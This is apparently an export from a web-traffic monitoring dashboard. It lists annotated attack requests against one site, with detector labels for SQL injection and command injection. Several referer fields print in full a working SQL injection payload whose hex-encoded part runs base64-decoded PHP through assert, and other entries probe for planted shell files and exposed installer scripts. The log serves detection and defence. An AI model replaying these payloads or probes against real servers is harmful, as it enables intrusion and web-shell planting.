Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/index.php/api/Uploadify/preview

referer

http://www.syndu.com/index.php/api/Uploadify/preview

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

summary

event observed

details

—

subnet

103.241.74.0/24

asn

152194 — CTG Server Limited

geo

Hong Kong, Tsuen Wan District, Kwai Chung

org

Group Entropy IT Hong Kong Co., Ltd.

#35 2025-04-25 06:43:52 event 8222751 GET 301 bytes 169

ann sqli 8 label sqli

Request SQL injection indicator: sqli:comment_marker

/user.php?act=login

referer

45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:\x22num\x22;s:617:\x22*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a…

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

Annotation facts

label

sqli

rule

sqli:comment_marker

conf

55.00

details

SQL-style comment marker observed (weak alone). Snippet='d7a2b68c49582d2d22adf953aads|a:2:{s:3:\x22num\x22;s:617:\x22*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b2461736427'

More (full fields + snapshot) expand

url

/user.php?act=login

referer

45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:\x22num\x22;s:617:\x22*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a325632646d46734c6e426f634363734a7a772f6347687749474e7359584e7a49456468545445775a6b4531494873676348566962476c6a49475a31626d4e306157397549463966593239756333527964574e304b4352494e3231314e696c374945426c646d46734b4349764b6c70484e587072626c4a6d553273714c7949754a456733625855324c6949694b547367665831755a5863675232464e4d54426d5154556f4a4639535256465652564e55577a45794d3130704f7a382b4d4456684d54466b4e6a5578596d4d785a5455324e6d4d305a5363702729293b2f2f7d787878,10-- -\x22;s:2:\x22id\x22;s:11:\x22-1' UNION/*\x22;}45ea207d7a2b68c49582d2d22adf953a

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

summary

SQL injection indicator: sqli:comment_marker

details

SQL-style comment marker observed (weak alone). Snippet='d7a2b68c49582d2d22adf953aads|a:2:{s:3:\x22num\x22;s:617:\x22*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b2461736427'

subnet

103.241.74.0/24

asn

152194 — CTG Server Limited

geo

Hong Kong, Tsuen Wan District, Kwai Chung

org

Group Entropy IT Hong Kong Co., Ltd.

#36 2025-04-25 06:43:52 event 8222751 GET 301 bytes 169

ann sqli 24 label sqli

Request SQL injection indicator: sqli:hex_blob

/user.php?act=login

referer

45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:\x22num\x22;s:617:\x22*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a…

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

Annotation facts

label

sqli

rule

sqli:hex_blob

conf

82.00

details

Detected long hex blob (often used to smuggle payloads in SQLi probes). Snippet='82d2d22adf953aads|a:2:{s:3:\x22num\x22;s:617:\x22*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6'

More (full fields + snapshot) expand

url

/user.php?act=login

referer

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

summary

SQL injection indicator: sqli:hex_blob

details

subnet

103.241.74.0/24

asn

152194 — CTG Server Limited

geo

Hong Kong, Tsuen Wan District, Kwai Chung

org

Group Entropy IT Hong Kong Co., Ltd.

#37 2025-04-25 06:43:52 event 8222751 GET 301 bytes 169

ann base label observed

Request event observed

/user.php?act=login

referer

45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:\x22num\x22;s:617:\x22*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a…

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/user.php?act=login

referer

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

summary

event observed

details

—

subnet

103.241.74.0/24

asn

152194 — CTG Server Limited

geo

Hong Kong, Tsuen Wan District, Kwai Chung

org

Group Entropy IT Hong Kong Co., Ltd.

#38 2025-04-25 06:43:52 event 8222751 GET 301 bytes 169

ann cmdi 22 label cmdi

Request Command/file-injection indicator: cmdi:pipe_or_redirect

/user.php?act=login

referer

45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:\x22num\x22;s:617:\x22*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a…

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

Annotation facts

label

cmdi

rule

cmdi:pipe_or_redirect

conf

75.00

details

Pipe/redirect operators in a context that resembles command execution. Snippet='GET /user.php?act=login 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:\x22'

More (full fields + snapshot) expand

url

/user.php?act=login

referer

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

summary

Command/file-injection indicator: cmdi:pipe_or_redirect

details

Pipe/redirect operators in a context that resembles command execution. Snippet='GET /user.php?act=login 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:\x22'

subnet

103.241.74.0/24

asn

152194 — CTG Server Limited

geo

Hong Kong, Tsuen Wan District, Kwai Chung

org

Group Entropy IT Hong Kong Co., Ltd.

#39 2025-04-25 06:43:52 event 8222751 GET 301 bytes 169

ann cmdi 28 label cmdi

Request Command/file-injection indicator: cmdi:op_plus_cmd

/user.php?act=login

referer

45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:\x22num\x22;s:617:\x22*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a…

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

Annotation facts

label

cmdi

rule

cmdi:op_plus_cmd

conf

88.00

details

Command separator/operator combined with a recognized command token. Snippet='GET /user.php?act=login 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:\x22'

More (full fields + snapshot) expand

url

/user.php?act=login

referer

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

summary

Command/file-injection indicator: cmdi:op_plus_cmd

details

Command separator/operator combined with a recognized command token. Snippet='GET /user.php?act=login 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:\x22'

subnet

103.241.74.0/24

asn

152194 — CTG Server Limited

geo

Hong Kong, Tsuen Wan District, Kwai Chung

org

Group Entropy IT Hong Kong Co., Ltd.

#40 2025-04-25 06:43:51 event 8222749 GET 301 bytes 169

ann sqli 8 label sqli

Request SQL injection indicator: sqli:comment_marker

/user.php?act=login

referer

554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:\x22num\x22;s:617:\x22*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a…

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

Annotation facts

label

sqli

rule

sqli:comment_marker

conf

55.00

details

SQL-style comment marker observed (weak alone). Snippet='493e564ee0dc75bdf2ebf94caads|a:2:{s:3:\x22num\x22;s:617:\x22*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b2461736427'

More (full fields + snapshot) expand

url

/user.php?act=login

referer

554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:\x22num\x22;s:617:\x22*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a325632646d46734c6e426f634363734a7a772f6347687749474e7359584e7a49456468545445775a6b4531494873676348566962476c6a49475a31626d4e306157397549463966593239756333527964574e304b4352494e3231314e696c374945426c646d46734b4349764b6c70484e587072626c4a6d553273714c7949754a456733625855324c6949694b547367665831755a5863675232464e4d54426d5154556f4a4639535256465652564e55577a45794d3130704f7a382b4d4456684d54466b4e6a5578596d4d785a5455324e6d4d305a5363702729293b2f2f7d787878,10-- -\x22;s:2:\x22id\x22;s:11:\x22-1' UNION/*\x22;}554fcae493e564ee0dc75bdf2ebf94ca

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

summary

SQL injection indicator: sqli:comment_marker

details

SQL-style comment marker observed (weak alone). Snippet='493e564ee0dc75bdf2ebf94caads|a:2:{s:3:\x22num\x22;s:617:\x22*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b2461736427'

subnet

103.241.74.0/24

asn

152194 — CTG Server Limited

geo

Hong Kong, Tsuen Wan District, Kwai Chung

org

Group Entropy IT Hong Kong Co., Ltd.

#41 2025-04-25 06:43:51 event 8222749 GET 301 bytes 169

ann sqli 24 label sqli

Request SQL injection indicator: sqli:hex_blob

/user.php?act=login

referer

554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:\x22num\x22;s:617:\x22*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a…

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

Annotation facts

label

sqli

rule

sqli:hex_blob

conf

82.00

details

Detected long hex blob (often used to smuggle payloads in SQLi probes). Snippet='c75bdf2ebf94caads|a:2:{s:3:\x22num\x22;s:617:\x22*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6'

More (full fields + snapshot) expand

url

/user.php?act=login

referer

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

summary

SQL injection indicator: sqli:hex_blob

details

subnet

103.241.74.0/24

asn

152194 — CTG Server Limited

geo

Hong Kong, Tsuen Wan District, Kwai Chung

org

Group Entropy IT Hong Kong Co., Ltd.

#42 2025-04-25 06:43:51 event 8222749 GET 301 bytes 169

ann base label observed

Request event observed

/user.php?act=login

referer

554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:\x22num\x22;s:617:\x22*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a…

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/user.php?act=login

referer

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

summary

event observed

details

—

subnet

103.241.74.0/24

asn

152194 — CTG Server Limited

geo

Hong Kong, Tsuen Wan District, Kwai Chung

org

Group Entropy IT Hong Kong Co., Ltd.

#43 2025-04-25 06:43:51 event 8222749 GET 301 bytes 169

ann cmdi 22 label cmdi

Request Command/file-injection indicator: cmdi:pipe_or_redirect

/user.php?act=login

referer

554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:\x22num\x22;s:617:\x22*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a…

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

Annotation facts

label

cmdi

rule

cmdi:pipe_or_redirect

conf

75.00

details

Pipe/redirect operators in a context that resembles command execution. Snippet='GET /user.php?act=login 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:\x22'

More (full fields + snapshot) expand

url

/user.php?act=login

referer

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

summary

Command/file-injection indicator: cmdi:pipe_or_redirect

details

Pipe/redirect operators in a context that resembles command execution. Snippet='GET /user.php?act=login 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:\x22'

subnet

103.241.74.0/24

asn

152194 — CTG Server Limited

geo

Hong Kong, Tsuen Wan District, Kwai Chung

org

Group Entropy IT Hong Kong Co., Ltd.

#44 2025-04-25 06:43:51 event 8222749 GET 301 bytes 169

ann cmdi 28 label cmdi

Request Command/file-injection indicator: cmdi:op_plus_cmd

/user.php?act=login

referer

554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:\x22num\x22;s:617:\x22*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a…

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

Annotation facts

label

cmdi

rule

cmdi:op_plus_cmd

conf

88.00

details

Command separator/operator combined with a recognized command token. Snippet='GET /user.php?act=login 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:\x22'

More (full fields + snapshot) expand

url

/user.php?act=login

referer

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

summary

Command/file-injection indicator: cmdi:op_plus_cmd

details

Command separator/operator combined with a recognized command token. Snippet='GET /user.php?act=login 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:\x22'

subnet

103.241.74.0/24

asn

152194 — CTG Server Limited

geo

Hong Kong, Tsuen Wan District, Kwai Chung

org

Group Entropy IT Hong Kong Co., Ltd.

#45 2025-04-25 06:43:50 event 8222746 POST 301 bytes 169

ann base label observed

Request event observed

/utility/convert/data/config.inc.php

referer

http://www.syndu.com/utility/convert/data/config.inc.php

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/utility/convert/data/config.inc.php

referer

http://www.syndu.com/utility/convert/data/config.inc.php

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

summary

event observed

details

—

subnet

103.241.74.0/24

asn

152194 — CTG Server Limited

geo

Hong Kong, Tsuen Wan District, Kwai Chung

org

Group Entropy IT Hong Kong Co., Ltd.

#46 2025-04-25 06:43:50 event 8222745 POST 301 bytes 169

ann base label observed

Request event observed

/utility/convert/index.php?a=config&source=d7.2_x2.0

referer

http://www.syndu.com/utility/convert/index.php?a=config&source=d7.2_x2.0

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/utility/convert/index.php?a=config&source=d7.2_x2.0

referer

http://www.syndu.com/utility/convert/index.php?a=config&source=d7.2_x2.0

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

summary

event observed

details

—

subnet

103.241.74.0/24

asn

152194 — CTG Server Limited

geo

Hong Kong, Tsuen Wan District, Kwai Chung

org

Group Entropy IT Hong Kong Co., Ltd.

#47 2025-04-25 06:43:49 event 8222744 POST 301 bytes 169

ann base label observed

Request event observed

/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=ctzis.php&updateHost/

referer

http://www.syndu.com/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=ctzis.php&updateHost/

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=ctzis.php&updateHost/

referer

http://www.syndu.com/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=ctzis.php&updateHost/

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

summary

event observed

details

—

subnet

103.241.74.0/24

asn

152194 — CTG Server Limited

geo

Hong Kong, Tsuen Wan District, Kwai Chung

org

Group Entropy IT Hong Kong Co., Ltd.

#48 2025-04-25 06:43:48 event 8222743 GET 301 bytes 169

ann base label observed

Request event observed

/blgx.php

referer

http://www.syndu.com/blgx.php

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/blgx.php

referer

http://www.syndu.com/blgx.php

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

summary

event observed

details

—

subnet

103.241.74.0/24

asn

152194 — CTG Server Limited

geo

Hong Kong, Tsuen Wan District, Kwai Chung

org

Group Entropy IT Hong Kong Co., Ltd.

#49 2025-04-25 06:43:47 event 8222742 POST 301 bytes 169

ann base label observed

Request event observed

/index.php?s=captcha

referer

http://www.syndu.com/index.php?s=captcha

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/index.php?s=captcha

referer

http://www.syndu.com/index.php?s=captcha

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36

summary

event observed

details

—

subnet

103.241.74.0/24

asn

152194 — CTG Server Limited

geo

Hong Kong, Tsuen Wan District, Kwai Chung

org

Group Entropy IT Hong Kong Co., Ltd.

#50 2025-04-25 06:43:46 event 8222738 GET 301 bytes 169

ann base label observed

Request event observed

/tjfrl.php

referer

http://www.syndu.com/tjfrl.php

Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.3 Safari/532.2

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/tjfrl.php

referer

http://www.syndu.com/tjfrl.php

Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.3 Safari/532.2

summary

event observed

details

—

subnet

103.241.74.0/24

asn

152194 — CTG Server Limited

geo

Hong Kong, Tsuen Wan District, Kwai Chung

org

Group Entropy IT Hong Kong Co., Ltd.

Log Explorer

Annotated access events

Confirm Action